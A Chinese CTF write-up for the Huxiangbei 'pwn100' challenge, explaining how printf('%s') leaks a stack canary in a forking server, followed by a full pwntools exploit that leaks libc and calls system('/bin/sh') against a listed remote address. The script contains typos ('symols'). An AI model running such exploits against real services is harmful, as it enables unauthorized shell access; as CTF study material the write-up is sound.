似粘还连,绵绵不绝——%s打印栈上数据时的canary泄露

湖湘杯的pwn100

一开始一顿操作猛如虎,其实是base64(因为有等号啊)

checksec一下发现开启了canary保护

emmmm,栈上的数据大概是这样:

| 输入数据 | . . . . . . . . . | canary | . . . | 返回地址 |

最后用printf("%s")打印输入数据的base64解码结果:

这里如果我们输入的数据正好和canary连起来的话,在打印结果的时候就会连带这canary的值一起打印出来。

由于canary的低位总是\x00,会把%s截断,所以我们的输入数据要一直覆盖到canary的低位

可是这样显然更改了canary,即便得到了canary,可是最后程序会检查canary会失败,无法进行下一步的利用。幸好程序里使用了fork,复制出了两个一模一样的进程,当前进程canary检查失败后可以接着从头开始执行另一个进程,而这个进程里的canary和之前我们泄露出的canary是一样的!

附上大佬的exp:


from pwn import *

from base64 import b64encode

e = ELF("./libc.so.6")

test = 'a'*4

p=process('./pwns')

p = remote('114.215.128.141', 10080)

p.sendline('Y')

p.recvuntil('datas')

payload = 'a'*0x102

p.sendline(b64encode(payload))

p.recvuntil('a'*0x102)

canary = u32(p.recv(3).ljust(4, '\0')) << 8

p.recv()

p.sendline('Y')

p.recvuntil('datas')

payload = 'a'*0x101 + p32(canary) + 'a'*0xc

p_r = p32(0x08048b27)

payload += p32(0x08048530) + p_r + p32(0x0804a014)

p.sendline(b64encode(payload))

p.recvuntil('a'*0x101 + '\n')

e_leak = u32(p.recv(4)) - e.symols['printf']

p.sendline('Y')

p.recvuntil('datas')

payload = 'a'*0x101 + p32(canary) + 'a'*0xc

p_r = p32(0x08048b27)

payload += p32(e_leak + e.symols['system']) + p_r + p32(e_leak + next(e.search('/bin/sh')))

p.sendline(b64encode(payload))

p.interactive()


你可能感兴趣的:(似粘还连,绵绵不绝——%s打印栈上数据时的canary泄露)